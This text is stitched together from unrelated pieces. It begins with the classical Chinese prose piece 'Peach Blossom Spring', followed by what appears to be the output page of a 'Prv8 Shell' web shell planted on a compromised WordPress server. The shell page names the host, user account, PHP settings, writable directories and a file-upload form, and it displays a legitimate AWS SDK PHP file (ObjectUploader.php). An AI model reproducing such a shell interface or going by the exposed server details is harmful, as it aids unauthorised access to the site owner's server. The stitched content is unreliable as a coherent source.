晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/w3-total-cache/lib/Aws/Aws/S3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/public_html/wp-content/plugins/w3-total-cache/lib/Aws/Aws/S3/ObjectUploader.php
<?php
namespace Aws\S3;

use GuzzleHttp\Promise\PromisorInterface;
use GuzzleHttp\Psr7;
use Psr\Http\Message\StreamInterface;

/**
 * Uploads an object to S3, using a PutObject command or a multipart upload as
 * appropriate.
 */
class ObjectUploader implements PromisorInterface
{
    const DEFAULT_MULTIPART_THRESHOLD = 16777216;

    private $client;
    private $bucket;
    private $key;
    private $body;
    private $acl;
    private $options;
    private static $defaults = [
        'before_upload' => null,
        'concurrency'   => 3,
        'mup_threshold' => self::DEFAULT_MULTIPART_THRESHOLD,
        'params'        => [],
        'part_size'     => null,
    ];

    /**
     * @param S3ClientInterface $client         The S3 Client used to execute
     *                                          the upload command(s).
     * @param string            $bucket         Bucket to upload the object.
     * @param string            $key            Key of the object.
     * @param mixed             $body           Object data to upload. Can be a
     *                                          StreamInterface, PHP stream
     *                                          resource, or a string of data to
     *                                          upload.
     * @param string            $acl            ACL to apply to the copy
     *                                          (default: private).
     * @param array             $options        Options used to configure the
     *                                          copy process. Options passed in
     *                                          through 'params' are added to
     *                                          the sub command(s).
     */
    public function __construct(
        S3ClientInterface $client,
        $bucket,
        $key,
        $body,
        $acl = 'private',
        array $options = []
    ) {
        $this->client = $client;
        $this->bucket = $bucket;
        $this->key = $key;
        $this->body = Psr7\stream_for($body);
        $this->acl = $acl;
        $this->options = $options + self::$defaults;
    }

    public function promise()
    {
        /** @var int $mup_threshold */
        $mup_threshold = $this->options['mup_threshold'];
        if ($this->requiresMultipart($this->body, $mup_threshold)) {
            // Perform a multipart upload.
            return (new MultipartUploader($this->client, $this->body, [
                    'bucket' => $this->bucket,
                    'key'    => $this->key,
                    'acl'    => $this->acl
                ] + $this->options))->promise();
        }

        // Perform a regular PutObject operation.
        $command = $this->client->getCommand('PutObject', [
                'Bucket' => $this->bucket,
                'Key'    => $this->key,
                'Body'   => $this->body,
                'ACL'    => $this->acl,
            ] + $this->options['params']);
        if (is_callable($this->options['before_upload'])) {
            $this->options['before_upload']($command);
        }
        return $this->client->executeAsync($command);
    }

    public function upload()
    {
        return $this->promise()->wait();
    }

    /**
     * Determines if the body should be uploaded using PutObject or the
     * Multipart Upload System. It also modifies the passed-in $body as needed
     * to support the upload.
     *
     * @param StreamInterface $body      Stream representing the body.
     * @param integer             $threshold Minimum bytes before using Multipart.
     *
     * @return bool
     */
    private function requiresMultipart(StreamInterface &$body, $threshold)
    {
        // If body size known, compare to threshold to determine if Multipart.
        if ($body->getSize() !== null) {
            return $body->getSize() >= $threshold;
        }

        /**
         * Handle the situation where the body size is unknown.
         * Read up to 5MB into a buffer to determine how to upload the body.
         * @var StreamInterface $buffer
         */
        $buffer = Psr7\stream_for();
        Psr7\copy_to_stream($body, $buffer, MultipartUploader::PART_MIN_SIZE);

        // If body < 5MB, use PutObject with the buffer.
        if ($buffer->getSize() < MultipartUploader::PART_MIN_SIZE) {
            $buffer->seek(0);
            $body = $buffer;
            return false;
        }

        // If body >= 5 MB, then use multipart. [YES]
        if ($body->isSeekable() && $body->getMetadata('uri') !== 'php://input') {
            // If the body is seekable, just rewind the body.
            $body->seek(0);
        } else {
            // If the body is non-seekable, stitch the rewind the buffer and
            // the partially read body together into one stream. This avoids
            // unnecessary disc usage and does not require seeking on the
            // original stream.
            $buffer->seek(0);
            $body = new Psr7\AppendStream([$buffer, $body]);
        }

        return true;
    }
}

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